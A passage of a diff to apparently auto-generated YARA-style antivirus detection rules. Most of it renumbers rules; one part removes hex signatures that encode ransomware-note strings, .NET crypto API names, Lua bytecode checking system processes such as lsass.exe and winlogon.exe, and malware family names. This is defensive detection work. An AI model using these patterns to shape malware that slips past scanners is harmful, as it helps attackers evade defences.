((#a_54_0 & 1)*18467+(#a_60_1 & 1)*7307+(#a_01_3 & 1)*50+(#a_01_4 & 1)*50+(#a_01_5 & 1)*50+(#a_01_6 & 1)*50+(#a_01_7 & 1)*50+(#a_03_8 & 1)*10+(#a_03_9 & 1)*10+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_cd_16 & 1)*0) >=64 } -rule _InfrastructureShared_363{ +rule _InfrastructureShared_366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -3870,7 +3909,7 @@ rule _InfrastructureShared_363{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_364{ +rule _InfrastructureShared_367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -3881,7 +3920,7 @@ rule _InfrastructureShared_364{ ((#a_6f_0 & 1)*16931+(#a_2e_1 & 1)*18035) >=2 } -rule _InfrastructureShared_365{ +rule _InfrastructureShared_368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -3891,7 +3930,7 @@ rule _InfrastructureShared_365{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_366{ +rule _InfrastructureShared_369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -3902,7 +3941,7 @@ rule _InfrastructureShared_366{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_367{ +rule _InfrastructureShared_370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -3912,7 +3951,7 @@ rule _InfrastructureShared_367{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_368{ +rule _InfrastructureShared_371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -3923,7 +3962,7 @@ rule _InfrastructureShared_368{ ((#a_4c_0 & 1)*21539+(#a_55_1 & 1)*0) >=2 } -rule _InfrastructureShared_369{ +rule _InfrastructureShared_372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -3933,7 +3972,7 @@ rule _InfrastructureShared_369{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_370{ +rule _InfrastructureShared_373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -3944,7 +3983,7 @@ rule _InfrastructureShared_370{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*31083) >=2 } -rule _InfrastructureShared_371{ +rule _InfrastructureShared_374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -3954,7 +3993,7 @@ rule _InfrastructureShared_371{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_372{ +rule _InfrastructureShared_375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -3964,7 +4003,7 @@ rule _InfrastructureShared_372{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_373{ +rule _InfrastructureShared_376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -3975,7 +4014,7 @@ rule _InfrastructureShared_373{ ((#a_4c_0 & 1)*21539+(#a_2d_2 & 1)*26881) >=3 } -rule _InfrastructureShared_374{ +rule _InfrastructureShared_377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -3985,7 +4024,7 @@ rule _InfrastructureShared_374{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_375{ +rule _InfrastructureShared_378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3995,7 +4034,7 @@ rule _InfrastructureShared_375{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_376{ +rule _InfrastructureShared_379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -4006,7 +4045,7 @@ rule _InfrastructureShared_376{ ((#a_4c_0 & 1)*21539+(#a_55_1 & 1)*28521) >=2 } -rule _InfrastructureShared_377{ +rule _InfrastructureShared_380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -4019,7 +4058,7 @@ rule _InfrastructureShared_377{ ((#a_4c_0 & 1)*21539+(#a_76_1 & 1)*29296+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_378{ +rule _InfrastructureShared_381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -4030,7 +4069,7 @@ rule _InfrastructureShared_378{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*26723) >=2 } -rule _InfrastructureShared_379{ +rule _InfrastructureShared_382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -4042,7 +4081,7 @@ rule _InfrastructureShared_379{ ((#a_4c_0 & 1)*21539+(#a_52_1 & 1)*17967+(#a_23_2 & 1)*2) >=3 } -rule _InfrastructureShared_380{ +rule _InfrastructureShared_383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -4053,7 +4092,7 @@ rule _InfrastructureShared_380{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*109) >=2 } -rule _InfrastructureShared_381{ +rule _InfrastructureShared_384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -4065,7 +4104,7 @@ rule _InfrastructureShared_381{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*110+(#a_79_2 & 1)*25461) >=3 } -rule _InfrastructureShared_382{ +rule _InfrastructureShared_385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -4077,7 +4116,7 @@ rule _InfrastructureShared_382{ ((#a_4c_0 & 1)*21539+(#a_79_1 & 1)*25461+(#a_67_2 & 1)*27728) >=3 } -rule _InfrastructureShared_383{ +rule _InfrastructureShared_386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -4087,7 +4126,7 @@ rule _InfrastructureShared_383{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_384{ +rule _InfrastructureShared_387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -4098,7 +4137,7 @@ rule _InfrastructureShared_384{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*46) >=2 } -rule _InfrastructureShared_385{ +rule _InfrastructureShared_388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -4110,7 +4149,7 @@ rule _InfrastructureShared_385{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*104+(#a_50_4 & 1)*17748) >=6 } -rule _InfrastructureShared_386{ +rule _InfrastructureShared_389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -4121,7 +4160,7 @@ rule _InfrastructureShared_386{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*110) >=3 } -rule _InfrastructureShared_387{ +rule _InfrastructureShared_390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -4135,7 +4174,7 @@ rule _InfrastructureShared_387{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*8276+(#a_6f_2 & 1)*8250+(#a_61_3 & 1)*18034+(#a_6c_4 & 1)*24948) >=5 } -rule _InfrastructureShared_388{ +rule _InfrastructureShared_391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -4151,7 +4190,7 @@ rule _InfrastructureShared_388{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*17778+(#a_74_2 & 1)*28257+(#a_8b_3 & 1)*1281+(#a_01_4 & 1)*1479+(#a_74_5 & 1)*281+(#a_6d_6 & 1)*29254) >=3 } -rule _InfrastructureShared_389{ +rule _InfrastructureShared_392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 0a 00 0b 00 21 " @@ -4170,7 +4209,7 @@ rule _InfrastructureShared_389{ ((#a_4c_0 & 1)*21539+(#a_01_2 & 1)*1479+(#a_6f_3 & 1)*29811+(#a_6d_4 & 1)*17220+(#a_ea_5 & 1)*-25147+(#a_74_6 & 1)*11776+(#a_3a_7 & 1)*20547+(#a_54_8 & 1)*17235+(#a_69_9 & 1)*14956+(#a_54_10 & 1)*8448) >=10 } -rule _InfrastructureShared_390{ +rule _InfrastructureShared_393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -4181,7 +4220,7 @@ rule _InfrastructureShared_390{ ((#a_6e_0 & 1)*22307+(#a_74_1 & 1)*25975) >=10 } -rule _InfrastructureShared_391{ +rule _InfrastructureShared_394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -4196,7 +4235,7 @@ rule _InfrastructureShared_391{ ((#a_6f_0 & 1)*21539+(#a_49_1 & 1)*29477+(#a_25_2 & 1)*30062+(#a_44_4 & 1)*26965+(#a_64_5 & 1)*26950+(#a_01_6 & 1)*10) >=7 } -rule _InfrastructureShared_392{ +rule _InfrastructureShared_395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 29 00 21 " @@ -4233,7 +4272,7 @@ rule _InfrastructureShared_392{ ((#a_6e_0 & 1)*22307+(#a_64_1 & 1)*16756+(#a_6f_2 & 1)*20596+(#a_64_3 & 1)*25965+(#a_72_4 & 1)*22125+(#a_6c_5 & 1)*26995+(#a_74_6 & 1)*26991+(#a_73_7 & 1)*25955+(#a_65_8 & 1)*26977+(#a_52_9 & 1)*26965+(#a_63_10 & 1)*14644+(#a_00_13 & 1)*-32762+(#a_61_14 & 1)*25959+(#a_00_15 & 1)*128+(#a_00_17 & 1)*16577+(#a_80_19 & 1)*128+(#a_00_21 & 1)*25975+(#a_06_24 & 1)*0+(#a_00_25 & 1)*0+(#a_00_28 & 1)*-32698+(#a_6f_29 & 1)*0+(#a_61_30 & 1)*0+(#a_0d_32 & 1)*5632+(#a_00_33 & 1)*256+(#a_67_34 & 1)*27762+(#a_03_35 & 1)*32+(#a_09_36 & 1)*112+(#a_43_37 & 1)*17998) >=10 } -rule _InfrastructureShared_393{ +rule _InfrastructureShared_396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -4245,7 +4284,7 @@ rule _InfrastructureShared_393{ ((#a_4c_0 & 1)*21539+(#a_6c_2 & 1)*25344+(#a_01_3 & 1)*24943) >=11 } -rule _InfrastructureShared_394{ +rule _InfrastructureShared_397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -4259,7 +4298,7 @@ rule _InfrastructureShared_394{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*29267+(#a_74_2 & 1)*29264+(#a_8d_3 & 1)*-10613+(#a_00_5 & 1)*30720) >=4 } -rule _InfrastructureShared_395{ +rule _InfrastructureShared_398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -4270,7 +4309,7 @@ rule _InfrastructureShared_395{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-29359) >=3 } -rule _InfrastructureShared_396{ +rule _InfrastructureShared_399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -4286,7 +4325,7 @@ rule _InfrastructureShared_396{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*21613+(#a_00_3 & 1)*99+(#a_00_5 & 1)*101+(#a_d8_6 & 1)*18436+(#a_00_7 & 1)*46+(#a_00_8 & 1)*80) >=3 } -rule _InfrastructureShared_397{ +rule _InfrastructureShared_400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -4299,7 +4338,7 @@ rule _InfrastructureShared_397{ ((#a_54_0 & 1)*18467+(#a_8b_1 & 1)*1025+(#a_00_2 & 1)*101+(#a_63_5 & 1)*24933) >=3 } -rule _InfrastructureShared_398{ +rule _InfrastructureShared_401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -4310,7 +4349,7 @@ rule _InfrastructureShared_398{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*105) >=3 } -rule _InfrastructureShared_399{ +rule _InfrastructureShared_402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -4321,7 +4360,7 @@ rule _InfrastructureShared_399{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*114) >=3 } -rule _InfrastructureShared_400{ +rule _InfrastructureShared_403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 21 " @@ -4336,7 +4375,7 @@ rule _InfrastructureShared_400{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*29281+(#a_00_3 & 1)*98+(#a_00_4 & 1)*101+(#a_01_5 & 1)*30720+(#a_74_6 & 1)*29472) >=10 } -rule _InfrastructureShared_401{ +rule _InfrastructureShared_404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 08 00 21 " @@ -4352,7 +4391,7 @@ rule _InfrastructureShared_401{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*111+(#a_74_2 & 1)*25970+(#a_6e_3 & 1)*29812+(#a_6e_4 & 1)*26988+(#a_00_5 & 1)*105+(#a_00_6 & 1)*84) >=21 } -rule _InfrastructureShared_402{ +rule _InfrastructureShared_405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 21 " @@ -4365,7 +4404,7 @@ rule _InfrastructureShared_402{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*111+(#a_00_3 & 1)*114+(#a_00_5 & 1)*58) >=10 } -rule _InfrastructureShared_403{ +rule _InfrastructureShared_406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 5f 00 21 " @@ -4392,58 +4431,69 @@ rule _InfrastructureShared_403{ $a_6e_19 = {6f 6e 01 00 09 80 01 20 62 69 74 63 6f 69 6e 20 01 00 0c 80 01 20 65 6e 63 72 79 70 74 65 64 21 20 01 00 09 80 01 20 64 65 63 72 79 70 74 20 01 00 0a 80 01 50 55 42 4c 49 43 20 4b 45 59 01 00 0b 80 01 50 52 49 56 41 54 45 20 4b 45 59 01 00 04 80 01 52 53 41 31 01 00 04 80 01 52 53 41 32 01 00 04 80 01 52 53 41 33 01 00 10 80 01 49 } //384 $a_70_20 = {6f 54 72 61 6e 73 66 6f 72 6d 01 00 18 80 01 52 4e 47 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 0f 80 01 52 69 6a 6e 64 61 65 6c 4d 61 6e 61 67 65 64 01 00 12 80 01 53 79 6d 6d 65 74 72 69 63 41 6c 67 6f 72 69 74 68 6d 01 00 0f 80 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0f 80 01 43 72 65 61 74 65 45 6e 63 72 79 70 74 6f } //29251 $a_72_22 = {70 74 6f 53 74 72 65 61 6d 4d 6f 64 65 01 00 0a 80 01 43 69 70 68 65 72 4d 6f 64 65 01 00 05 01 68 01 68 00 00 01 00 05 01 68 03 80 00 00 01 00 04 01 f0 e1 d2 c3 01 00 04 01 3a f5 4f a5 02 00 0b 03 bb } //384 - $a_90_24 = {00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 12 00 00 00 00 00 06 00 98 09 00 00 04 2e 2e 2a 00 00 00 02 80 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 12 00 00 00 03 00 06 00 5b 25 00 00 1c 4d 70 53 65 72 76 69 63 65 48 65 61 6c 74 68 4d 6f 6e 69 74 6f 72 45 6e 61 62 6c 65 04 00 00 00 00 00 00 00 bd 25 01 00 0d 15 00 00 10 01 00 00 32 35 62 33 32 36 34 } //1282 - $a_31_25 = {00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 05 12 00 00 00 0a 00 00 00 45 00 00 00 46 40 c0 00 80 00 00 00 c5 80 00 00 c6 c0 c0 01 } //12599 - $a_00_26 = {5c 40 00 00 45 00 01 00 46 40 c1 00 81 80 01 00 c0 00 00 00 01 c1 01 00 5c 40 00 02 45 00 02 00 46 40 c2 00 5e 00 00 01 1e 00 80 00 0a 00 00 00 04 06 00 00 00 74 61 62 6c 65 00 04 07 00 00 00 69 6e 73 65 72 74 00 04 03 00 00 00 62 6d 00 04 0e 00 00 00 67 65 74 5f 69 6d 61 67 65 70 61 74 68 00 04 09 00 00 00 4d 70 43 6f 6d 6d 6f 6e 00 04 18 00 00 00 53 65 74 50 65 72 73 69 73 74 43 } //220 - $a_65_27 = {74 4e 6f 50 61 74 68 00 04 16 00 00 00 47 65 6e 65 72 69 63 53 79 73 74 65 6d 57 69 6e 6c 6f 67 6f 6e 00 03 00 00 00 00 00 00 00 00 04 03 00 00 00 6d 70 00 04 06 00 00 00 43 4c 45 41 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd 8d 01 00 0d 15 00 00 78 01 00 00 31 35 62 33 61 36 61 64 64 62 62 37 00 1b 4c 75 61 51 00 01 04 08 04 08 01 } //28271 - $a_06_31 = {1e 00 } //0 - $a_00_32 = {00 00 06 40 40 } //0 - $a_00_33 = {00 46 c0 c0 00 5c 00 80 00 1c 80 00 00 1a 00 00 00 16 40 04 80 45 00 00 00 46 00 c1 00 80 00 00 00 c1 40 01 00 01 81 01 00 42 01 80 00 5c 80 80 02 5a 00 00 00 16 00 02 80 45 c0 01 00 46 00 c2 00 81 40 02 00 5c 80 00 01 18 40 00 85 16 80 00 80 45 c0 02 00 46 00 c3 00 5e 00 00 01 45 c0 02 00 46 40 c3 00 5e 00 00 01 1e 00 80 00 0e 00 00 00 04 07 00 00 00 73 74 72 69 6e 67 00 04 06 00 } //17664 - $a_6f_34 = {65 72 00 04 03 00 00 00 62 6d 00 04 0e 00 00 00 67 65 74 5f 69 6d 61 67 65 70 61 74 68 00 04 05 00 00 00 66 69 6e 64 00 04 0d 00 00 00 5c 73 76 63 68 6f 73 74 2e 65 78 65 00 03 01 00 00 00 00 00 00 00 04 09 00 00 00 4d 70 43 6f 6d 6d 6f 6e 00 04 1d 00 00 00 47 65 74 50 65 72 73 69 73 74 43 6f 6e 74 65 78 74 43 6f 75 6e 74 } //0 - $a_61_35 = {68 00 04 16 00 00 00 47 65 6e 65 72 69 63 53 79 73 74 65 6d 57 69 6e 6c 6f 67 6f 6e 00 03 00 00 00 00 00 00 00 00 04 03 00 00 00 6d 70 00 04 09 00 00 00 49 4e 46 45 43 54 45 44 00 04 06 00 00 00 43 4c 45 41 4e 00 00 00 00 00 00 00 00 00 00 } //28494 - $a_08_40 = {00 00 12 00 00 00 00 00 0a 00 5b 33 00 00 2a 44 43 4f 5f 4d 70 44 69 73 61 62 6c 65 53 63 61 6e 52 65 70 61 72 73 65 50 6f 69 6e 74 73 4f 66 66 6c 69 6e 65 46 69 6c 65 73 04 00 00 00 01 00 00 00 5b 8c 01 00 13 56 6d 50 72 6f 63 65 73 73 50 72 6f 74 65 63 74 69 6f 6e 74 01 00 00 04 00 00 00 3f 00 00 00 28 00 31 00 2c 00 30 00 29 00 2c 00 25 00 73 00 79 00 73 00 74 } //0 - $a_00_42 = {6d 00 70 00 74 00 65 00 73 00 74 00 5f 00 38 00 32 00 64 00 64 00 37 00 38 00 66 00 36 00 2d 00 38 00 30 00 34 00 30 00 2d 00 34 00 32 00 66 00 36 00 2d 00 38 00 37 00 38 00 32 00 2d 00 64 00 65 00 33 00 38 00 66 00 62 00 38 00 31 00 30 00 30 00 31 00 65 00 2e 00 65 00 78 00 } //37 mptest_82dd78f6-8040-42f6-8782-de38fb81001e.ex - $a_00_45 = {2c 00 30 00 78 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 29 00 2c 00 25 00 73 00 79 00 } //40 ,0xffffffffffffffff),%sy - $a_00_46 = {65 00 6d 00 25 00 5c 00 63 00 73 00 72 00 73 00 73 00 2e 00 65 00 78 00 65 00 00 00 2a 00 00 00 28 00 30 00 2c 00 30 00 78 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 66 00 29 00 2c 00 25 00 73 00 79 00 73 00 74 00 65 00 6d 00 25 00 5c 00 6c 00 73 00 61 00 73 00 73 00 2e 00 65 00 78 00 65 00 00 00 } //115 - $a_00_48 = {2c 00 2d 00 31 00 29 00 2c 00 25 00 73 00 79 00 73 00 74 00 65 00 6d 00 25 00 5c 00 77 00 69 00 6e 00 6c 00 6f 00 67 00 6f 00 6e 00 2e 00 65 00 } //40 ,-1),%system%\winlogon.e - $a_00_49 = {00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 13 00 00 00 02 00 05 00 98 16 00 00 11 2e 2a 57 69 6e 33 32 2f 58 69 61 7a 61 69 2e 2a 00 00 00 08 00 98 17 00 00 12 2e 2a 57 69 6e 33 32 2f 58 65 65 6c 79 61 6b 2e 2a 00 00 00 08 00 98 19 00 00 14 2e 2a 4d 53 49 4c 2f 53 6f 6c 6f 72 69 67 61 74 65 } //120 - $a_08_54 = {00 00 13 00 00 00 03 00 06 00 78 69 00 00 0a 00 0a 00 02 00 21 23 42 4d 5f 56 75 6c 6e 57 65 72 66 61 75 6c 74 53 65 63 75 72 65 00 0a 00 30 01 57 65 72 46 61 75 6c 74 53 65 63 75 72 65 2e 65 78 65 20 77 61 73 20 73 74 61 72 74 65 64 2e 20 53 65 63 75 72 65 20 6d 6f 64 65 20 3d 20 25 64 ec ff 11 01 45 6e 63 72 79 70 74 44 75 6d 70 53 74 72 65 61 6d 00 00 bd 3c 01 } //0 - $a_00_55 = {00 27 01 00 00 32 64 62 33 36 65 38 37 65 31 63 61 00 1b 4c 75 } //3328 - $a_08_57 = {01 00 00 00 } //2052 - $a_40_63 = {41 80 00 00 1c 80 00 01 45 c0 00 00 46 00 c1 00 80 00 00 00 5c 80 00 01 57 40 c1 00 16 40 01 80 94 00 80 00 19 80 00 83 16 80 00 80 85 c0 01 00 86 00 42 01 9e 00 00 01 85 c0 01 00 86 40 42 01 } //1536 - $a_00_65 = {0a 00 00 00 04 09 00 00 00 4d 70 43 6f 6d 6d 6f 6e 00 04 1b 00 00 00 45 78 70 61 6e 64 45 6e 76 69 72 6f 6e 6d 65 6e 74 56 61 72 69 61 62 6c 65 73 00 04 1e 00 00 00 25 77 69 6e 64 69 72 25 5c 73 79 73 74 65 6d 33 32 5c 4c 6f 67 6f 6e 55 49 2e 65 78 65 00 04 06 00 00 00 73 79 73 69 6f 00 04 17 00 00 00 47 65 74 50 72 6f 63 65 73 73 46 72 6f 6d 46 69 6c 65 4e 61 6d 65 00 00 03 02 00 } //30 - $a_03_67 = {00 00 00 6d } //0 - $a_09_68 = {00 00 00 49 } //112 - $a_43_69 = {45 44 00 04 06 00 00 00 43 4c 45 41 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd 3c 01 00 0d 15 00 00 27 01 00 00 32 64 62 33 61 61 34 65 38 61 31 33 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 } //17998 - $a_00_73 = {00 00 05 00 00 00 06 40 40 00 41 80 00 00 1c 80 00 01 45 c0 } //770 - $a_00_74 = {c1 00 80 00 00 00 5c 80 00 01 57 40 c1 00 16 40 01 80 94 00 80 00 19 80 00 83 16 80 00 80 85 c0 01 00 86 00 42 01 9e 00 00 01 85 c0 01 00 86 40 42 01 9e 00 00 01 1e 00 80 00 0a 00 00 00 04 09 00 00 00 4d 70 43 } //0 - $a_6f_75 = {00 04 1b 00 00 00 45 78 70 61 6e 64 45 6e 76 69 72 6f 6e 6d 65 6e 74 56 61 72 69 61 62 6c 65 73 00 04 1e 00 00 00 25 77 69 6e 64 69 72 25 5c 73 79 73 74 65 6d 33 32 5c 4c 6f 67 6f 6e 55 49 2e 65 78 65 00 04 06 00 00 00 73 79 73 69 6f 00 04 17 00 00 00 47 65 74 50 72 6f 63 65 73 73 46 72 6f 6d 46 69 6c 65 4e 61 6d 65 00 00 03 } //28015 - $a_00_79 = {04 09 00 00 00 49 4e 46 45 43 54 45 44 00 04 06 00 00 00 43 4c 45 41 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd 5c 02 00 0d 15 00 00 47 02 00 00 38 62 62 33 35 64 38 31 37 66 33 64 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 06 47 00 00 00 45 00 00 00 46 40 c0 00 46 80 c0 00 5a 00 } //27904 - $a_c0_80 = {80 45 00 00 00 46 40 c0 00 06 c0 c0 00 16 00 04 80 45 00 00 00 46 } //0 - $a_00_82 = {00 00 16 c0 00 80 45 00 00 00 46 00 c1 00 06 c0 c0 00 16 c0 01 80 45 00 00 00 46 40 c1 00 46 80 c0 00 5a 00 00 00 16 80 00 80 45 00 00 00 46 40 c1 00 06 c0 c0 00 17 80 41 00 16 80 00 80 45 c0 01 00 46 00 c2 00 5e 00 00 01 45 40 02 00 46 80 c2 00 80 00 00 00 5c 80 00 01 } //192 - $a_00_83 = {54 00 00 00 19 40 80 85 16 00 04 80 4b 00 43 00 c1 40 03 00 01 41 00 00 42 01 80 00 5c 80 80 02 17 80 c1 00 16 40 02 80 4b 00 43 00 c1 80 03 00 01 41 00 00 42 01 80 00 5c 80 80 02 17 80 c1 00 16 80 00 80 45 c0 01 00 46 c0 c3 00 5e 00 00 01 54 00 00 00 19 40 00 88 16 c0 01 80 4b 40 44 00 c1 80 04 00 5c 80 80 01 57 c0 c4 00 16 80 00 80 45 c0 01 00 46 c0 c3 00 5e 00 00 01 45 c0 01 00 } //0 - $a_00_84 = {5e 00 00 01 1e 00 80 00 14 00 00 00 04 10 00 00 00 74 68 69 73 5f 73 69 67 61 74 74 72 6c 6f 67 00 03 01 00 00 00 00 00 00 00 04 08 00 00 00 6d 61 74 63 68 65 64 00 04 0b 00 00 00 69 6d 61 67 65 5f 70 61 74 68 00 03 02 00 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 04 03 00 00 00 6d 70 00 04 06 00 00 00 43 4c 45 41 4e 00 04 07 00 00 00 73 74 72 69 6e 67 00 04 06 00 00 00 6c 6f 77 65 72 00 03 12 00 00 00 00 00 00 00 04 05 00 00 00 66 69 6e 64 00 04 13 00 00 00 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 00 04 13 00 00 00 5c 77 69 6e 64 6f 77 73 5c 73 79 73 77 6f } //70 - $a_5c_85 = {04 09 00 00 00 49 4e 46 45 43 54 45 44 00 03 0d 00 00 00 00 00 00 00 04 04 00 00 00 73 75 62 00 03 f3 ff ff ff ff ff ff ff 04 0e 00 00 00 5c 73 63 68 74 61 } //13943 - $a_2e_86 = {78 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd e3 02 00 0d 15 00 00 ce 02 00 00 39 33 62 33 37 34 39 33 35 35 34 37 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 06 5c 00 00 00 45 00 00 00 46 40 c0 00 46 80 c0 00 5a 00 00 00 16 c0 00 80 45 00 00 00 46 40 c0 00 06 c0 c0 00 16 00 05 80 45 00 00 } //27507 - $a_00_88 = {5a 00 00 00 16 c0 00 80 45 00 00 00 46 00 c1 00 06 c0 c0 00 16 c0 02 80 45 00 00 00 46 40 c1 00 46 80 c0 00 5a 00 00 00 16 c0 00 80 45 00 00 00 46 40 c1 00 06 c0 c0 00 16 80 00 80 45 80 01 00 46 c0 c1 00 5e 00 00 01 1a 40 00 00 16 80 00 80 45 80 01 00 46 c0 c1 00 5e 00 00 01 45 00 02 00 46 40 c2 00 80 00 00 00 5c 80 00 01 5a 00 00 00 16 c0 01 80 45 80 01 00 46 80 c2 00 80 00 00 00 c2 00 80 00 02 01 00 00 5c 80 00 02 5a 00 00 00 16 80 00 80 45 80 01 00 46 c0 c1 00 5e 00 00 01 45 00 02 00 46 c0 c2 00 80 00 00 00 5c 80 00 01 85 00 02 00 86 00 43 